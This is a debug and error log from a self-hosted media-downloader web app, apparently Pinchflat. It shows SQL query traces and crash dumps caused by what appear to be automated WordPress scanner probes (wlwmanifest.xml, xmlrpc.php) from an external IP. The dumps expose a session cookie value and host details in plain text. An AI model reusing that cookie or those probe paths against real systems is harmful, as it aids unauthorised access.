11:19:17.273 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1699.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 11:19:17.273 [debug] QUERY OK source="sources" db=0.0ms idle=1700.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 11:19:17.276 [debug] QUERY OK source="media_items" db=3.2ms idle=1061.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:19:17.277 [debug] QUERY OK source="media_items" db=0.3ms idle=64.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:19:17.277 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.277 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.277 [debug] QUERY OK source="settings" db=0.0ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.278 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:19:17.279 [debug] QUERY OK source="media_items" db=1.6ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 11:19:17.280 [debug] QUERY OK source="sources" db=0.0ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 11:19:17.284 [debug] QUERY OK source="media_items" db=3.6ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 11:19:17.287 [debug] QUERY OK source="media_items" db=3.7ms idle=6.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 11:19:17.288 [debug] QUERY OK source="tasks" db=0.1ms idle=10.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 11:19:17.288 [info] Sent 200 in 15ms 11:19:17.643 [info] GET //wp-includes/wlwmanifest.xml 11:19:17.644 [debug] QUERY OK source="settings" db=0.2ms idle=364.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.644 [debug] QUERY OK source="settings" db=0.0ms idle=364.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.644 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:17.644 [error] #PID<0.7957.0> running PinchflatWeb.Endpoint (connection #PID<0.7956.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //wp-includes/wlwmanifest.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47422}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7957.0>, params: %{}, path_info: ["wp-includes", "wlwmanifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//wp-includes/wlwmanifest.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x1nPSAenSe0AADXD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47422}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-includes/wlwmanifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//wp-includes/wlwmanifest.xml", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47422}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeU (truncated) 11:19:17.814 [info] GET //xmlrpc.php 11:19:17.814 [debug] QUERY OK source="settings" db=0.1ms idle=530.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.815 [debug] QUERY OK source="settings" db=0.2ms idle=526.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.815 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 11:19:17.815 [error] #PID<0.7959.0> running PinchflatWeb.Endpoint (connection #PID<0.7958.0>, stream id 1) terminated Server: tubedock.hartupee.com:80 (http) Request: GET //xmlrpc.php?rsd ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47426}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, host: "tubedock.hartupee.com", method: "GET", owner: #PID<0.7959.0>, params: %{"rsd" => ""}, path_info: ["xmlrpc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tubedock.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"rsd" => ""}, query_string: "rsd", remote_ip: {192, 168, 1, 203}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.5"}, {"connection", "keep-alive"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE"}, {"host", "tubedock.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"}, {"x-forwarded-for", "85.204.70.102"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "85.204.70.102"} ], request_path: "//xmlrpc.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU1x2P620rvVHEAAwUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47426}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /xmlrpc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.7958.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//xmlrpc.php", host: "tubedock.hartupee.com", peer: {{192, 168, 1, 203}, 47426}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.5", "connection" => "keep-alive", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE", "host" => "tubedock.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36", "x-forwarded-for" => "85.204.70.102", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "85.204.70.102" }, method: "GET", body_length: 0, path_info: :undefined, qs: "rsd", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRENzRW5HR3VCb1ZiRmFQVFhHeUdHUlg3.3KZuhlY0oupbnp_jIPytKq2aU3lqBWYRNo_EA4ZuNsE" }, halted: false, h (truncated) 11:19:17.984 [info] GET / 11:19:17.984 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 11:19:17.984 [debug] QUERY OK source="settings" db=0.0ms idle=695.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.984 [debug] QUERY OK source="media_profiles" db=0.0ms idle=340.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 11:19:17.984 [debug] QUERY OK source="sources" db=0.0ms idle=339.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 11:19:17.985 [debug] QUERY OK source="media_items" db=0.6ms idle=169.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:19:17.985 [debug] QUERY OK source="media_items" db=0.3ms idle=170.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:19:17.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.985 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 11:19:17.986 [debug] QUERY OK source="media_items" db=0.3ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 11:19:17.987 [debug] QUERY OK source="media_items" db=0.5ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 11:19:17.987 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 11:19:17.990 [debug] QUERY OK source="media_items" db=2.6ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false 